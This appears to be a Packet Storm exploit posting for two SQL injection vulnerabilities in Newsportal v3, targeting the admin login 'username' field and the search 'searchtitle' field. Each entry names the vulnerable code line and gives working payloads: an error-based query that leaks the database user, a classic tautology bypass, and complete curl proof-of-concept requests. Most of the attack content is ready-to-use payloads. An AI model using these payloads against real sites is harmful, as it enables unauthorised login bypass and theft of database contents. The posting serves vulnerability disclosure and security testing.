what you don't know can hurt you

Newsportal 3 SQL Injection

Newsportal 3 SQL Injection
Posted Jul 24, 2020
Authored by gh1mau

Newsportal version 3 suffers from multiple remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection
MD5 | 1ad32ae21519b3aacbb5b2ae064a89b6

Newsportal 3 SQL Injection

Change Mirror Download
# Exploit Title: Newsportal v3 - 'uname' - SQL Injection
# Date: 2020-07-24
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/news-portal-project-in-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7643
# Version: V3
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
----------------
\admin\index.php

Vulnerable Code:
----------------
line 10 : $uname=$_POST['username'];


Vulnerable Issue:
-----------------
$uname=$_POST['username']; is not filtered properly letting attackers to inject arbitrary payload(s)

Notes:
------
[+] This testing is done while turning on the error_display=On in php.ini
[+] If the error display is set to off, blind payload(s) should be used instead


Sample POC Request:
-------------------
curl -i -s -k --location --request POST 'http://localhost/newsportal/admin/' \
--header 'Origin: http://localhost:88' \
--header 'Cookie: PHPSESSID=a2r4tjra195ldmpf505ckqnpo4' \
--header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \
--header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36' \
--header 'Connection: close' \
--header 'Referer: http://localhost:88/newsportal/admin/' \
--header 'Sec-Fetch-Site: same-origin' \
--header 'Sec-Fetch-Dest: document' \
--header 'Host: localhost:88' \
--header 'Accept-Encoding: gzip, deflate' \
--header 'Sec-Fetch-Mode: navigate' \
--header 'Cache-Control: max-age=0' \
--header 'Upgrade-Insecure-Requests: 1' \
--header 'Sec-Fetch-User: ?1' \
--header 'Accept-Language: en-US,en;q=0.9' \
--header 'Content-Length: 331' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'username=test%27%29%20OR%20%28SELECT%204701%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716b706b71%2C%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20NCHAR%29%2C0x20%29%29%2C1%2C54%29%29%2C0x716b7a6b71%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x%29a%29--%20kfZH&password=test&login='

--------

# Exploit Title: Newsportal v3 - 'searchtitle' - SQL Injection
# Date: 2020-07-24
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/news-portal-project-in-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7643
# Version: V3
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
----------------
\search

Vulnerable Code:
----------------
line 46 : $st=$_SESSION['searchtitle']=$_POST['searchtitle'];


Vulnerable Issue:
-----------------
$st=$_SESSION['searchtitle']=$_POST['searchtitle']; is not filtered properly letting attackers to inject arbitrary payload(s)


Payload:
--------
123' or '1'='1'-- -

[+] Put the payload inside the Search Form and hit the submit button


Sample POC Request:
-------------------
curl -i -s -k --location --request POST 'http://localhost/newsportal/search.php' \
--header 'Origin: http://localhost:88' \
--header 'Cookie: PHPSESSID=27fo3inj3bjsll7b98obuk2kb5' \
--header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \
--header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36' \
--header 'Connection: close' \
--header 'Referer: http://localhost:88/newsportal/search.php' \
--header 'Sec-Fetch-Site: same-origin' \
--header 'Sec-Fetch-Dest: document' \
--header 'Host: localhost:88' \
--header 'Accept-Encoding: gzip, deflate' \
--header 'Sec-Fetch-Mode: navigate' \
--header 'Cache-Control: max-age=0' \
--header 'Upgrade-Insecure-Requests: 1' \
--header 'Sec-Fetch-User: ?1' \
--header 'Accept-Language: en-US,en;q=0.9' \
--header 'Content-Length: 33' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'searchtitle=123' or '1'='1'--%20-'
Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    1 Files
  • 9
    Aug 9th
    2 Files
  • 10
    Aug 10th
    27 Files
  • 11
    Aug 11th
    11 Files
  • 12
    Aug 12th
    11 Files
  • 13
    Aug 13th
    17 Files
  • 14
    Aug 14th
    7 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close